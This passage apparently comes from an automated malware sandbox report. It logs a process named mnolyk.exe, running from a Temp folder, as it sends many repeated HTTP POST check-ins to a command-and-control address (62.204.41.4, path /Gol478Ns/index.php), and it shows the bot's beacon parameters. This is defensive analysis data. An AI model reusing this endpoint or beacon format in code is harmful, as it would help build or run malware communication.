37	192.168.2.5	49727	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:43.531560898 CET	237	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:43.601125956 CET	238	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
370	192.168.2.5	50060	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:27.627657890 CET	571	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:27.692301035 CET	571	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
371	192.168.2.5	50061	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:27.966193914 CET	572	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:28.031424046 CET	572	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
372	192.168.2.5	50062	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:28.208950043 CET	573	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:28.272694111 CET	573	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
373	192.168.2.5	50063	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:28.448525906 CET	574	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:28.513607979 CET	574	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
374	192.168.2.5	50064	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:28.682743073 CET	575	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:28.748486042 CET	575	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
375	192.168.2.5	50065	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:28.913263083 CET	576	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:28.978040934 CET	576	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
376	192.168.2.5	50066	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:29.146656990 CET	577	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:29.211658955 CET	577	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
377	192.168.2.5	50067	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:29.442348003 CET	578	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:29.506154060 CET	578	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
378	192.168.2.5	50068	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:29.946527004 CET	579	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:30.012849092 CET	579	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
379	192.168.2.5	50069	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:30.250801086 CET	580	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:30.317364931 CET	580	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.5	49728	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:43.785939932 CET	238	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:44.092256069 CET	239	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:44.158833027 CET	239	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
380	192.168.2.5	50070	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:30.493721008 CET	581	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:30.560586929 CET	581	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
381	192.168.2.5	50071	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:31.256999969 CET	582	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:31.321892023 CET	582	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
382	192.168.2.5	50072	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:31.495682955 CET	583	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:31.560380936 CET	583	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
383	192.168.2.5	50073	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:32.799221992 CET	584	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:32.869652987 CET	584	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
384	192.168.2.5	50074	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:33.054157972 CET	585	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:33.121211052 CET	585	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
385	192.168.2.5	50075	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:33.288721085 CET	586	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:33.352719069 CET	586	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
386	192.168.2.5	50076	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:33.527817011 CET	587	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:33.590672016 CET	587	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
387	192.168.2.5	50077	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:33.758095980 CET	588	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:33.822932005 CET	588	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
388	192.168.2.5	50078	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:33.994127989 CET	589	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:34.060539007 CET	589	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
389	192.168.2.5	50079	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
